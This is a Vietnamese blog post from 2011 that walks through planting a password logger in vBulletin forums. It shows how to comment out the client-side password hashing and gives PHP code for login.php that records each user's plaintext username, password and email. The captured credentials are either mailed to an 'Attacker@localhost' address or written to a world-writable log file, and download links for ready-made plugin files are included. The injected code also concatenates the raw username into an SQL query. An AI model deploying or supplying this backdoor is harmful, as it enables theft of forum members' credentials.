Thứ Hai, 29 tháng 8, 2011

Vbulletin logger all version

Trước đây cũng có rất nhiều bài viết hướng dẫn về vấn đề này, nhưng bây giờ tớ viết lại, hướng dẫn cho mọi phiên bản vbb (từ 3.6 trở lên vì các bản trước đó mình chưa từng sử dụng, chắc cũng ko ai sử dụng). Các bạn webmaster cũng nên đọc để mà bảo mật cho forum mình tốt nhé.


Bắt đầu nào!

Mặc định khi login có javascript vbb sẽ mã hóa md5 password của các bạn trước khi gửi về server để xử lí tiếp, vì thế, password khi gửi về server là đã bị mã hóa md5, muốn lấy được password phải làm cho password gửi về server là password gốc, làm như sau:

Đối với bản 3.x mở file global.php

Đối với bản 4.x mở file includes/class_bootstrap.php

Tìm và thêm // vào trước dòng code, nó sẽ thành dòng sau đây
Mã:
//$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;
Thế là xong, từ giờ password gốc sẽ được gửi về để xử lí, mình sẽ sửa code để lưu password này. Các bạn có 2 lựa chọn, tự sửa code hoặc dùng file xml mình đã viết sẵn.

Mình sẽ có 2 cách để lưu password đó là gửi về email hoặc lưu vào 1 file riêng.

Download xml: http://w0rm.me/wp-content/uploads/20...d-to-email.xml | http://w0rm.me/wp-content/uploads/20...ve-to-file.xml

Sau khi import các bạn vào Plugin Manager -> Login Process sửa dòng cấu hình đầu tiên cho phù hợp

Hoặc nếu bạn muón tự mình sửa code thì làm như sau, mở file login.php và tìm đến dòng:

Mã:
process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);


Thêm vào bên dưới đoạn code lưu password, cũng như trên, nếu bạn muốn gửi password về email thì dùng đoạn code sau và chỉnh sửa email cho đúng.

Mã:
$to = "Attacker@localhost";
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query)) {
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) {
$from = $row["usergroupid"].' | '.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$message = $row["usergroupid"] . ' | ' . $lg_username . ' | ' . $lg_password. ' | ' . $row["email"] . "\n";
$header = "Content-type: text/html; charset=utf-8\r\nFrom: $from\r\nReply-to: $to";
mail($to, $from, $message, $header);
}
}
Nếu bạn muốn lưu password vào 1 file trên host thì dùng đoạn code sau, sửa đường dẫn log cho đúng nhé, nếu cần tạo sẵn ra rồi chmod 0777 cho chắc.

Mã:
$lg_file = "./save_log.txt";
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query)) {
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) {
$fp1 = @fopen($lg_file, "a+");
@fwrite($fp1, $lg_username . '|' . $lg_password."|" . $row["email"] . "\n");
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w");
foreach($new as $values){
@fputs($fp, $values);
}
@fclose($fp);
}
}

Không có nhận xét nào:

Đăng nhận xét